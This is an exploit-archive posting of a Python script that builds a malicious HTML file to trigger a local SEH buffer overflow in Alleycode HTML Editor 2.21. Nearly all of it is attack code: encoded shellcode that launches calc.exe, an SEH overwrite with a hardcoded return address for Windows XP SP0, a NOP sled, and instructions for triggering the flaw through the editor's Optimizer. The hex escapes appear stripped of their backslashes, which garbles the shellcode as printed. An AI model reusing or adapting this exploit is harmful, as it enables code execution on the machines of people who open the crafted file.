alleycodehe-overflow.txt
Posted on 21 October 2009
#!/usr/bin/env python #################################################################### # # Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH) # Coded By: Dr_IDE # Found By: Rafael de Sousa # Tested On: XPSP0 (SP3 doesn't have any usable P/P/R) # Download: www.alleycode.com # #################################################################### # calc.exe - 303 bytes # Encoder - alpha/upper # EXITFUNC - SEH sc = ( "x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49" "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a" "x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47" "x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c" "x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a" "x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" "x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45" "x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c" "x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c" "x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44" "x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c" "x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46" "x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50" "x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44" "x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45" "x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43" "x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b" "x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43" "x51x42x4cx42x43x43x30x41x41"); head = ("<html> <title>"); # Don't touch the html stuff. buff = ("@" * 504); # Overwrite SEH Pointer nseh = ("xEBx64x90x90"); # Need to pass some garbage in stack retn = ("x0Ex03xEBx77"); # P/P/R Kernel32.dll XPSP0 nops = ("x90" * 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE! junk = ("x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode foot = ("</title> <body>Calculator goes BOOM!</body> </html> "); sploit = (head + buff + nseh + retn + nops + sc + junk + foot); try: print (" #######################################################"); print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow"); print ("# By: Dr_IDE"); print ("# pocoftheday.blogspot.com"); print ("####################################################### "); print ("[*] Writing evil HTML file."); f1 = open("Dr_IDEs_Evil_Homepage.html","w"); f1.write(sploit); f1.close(); print ('[*] Success. Load File and Click "Tools -> Optimizer".'); except: print ("[-] Error, could not write the file.");
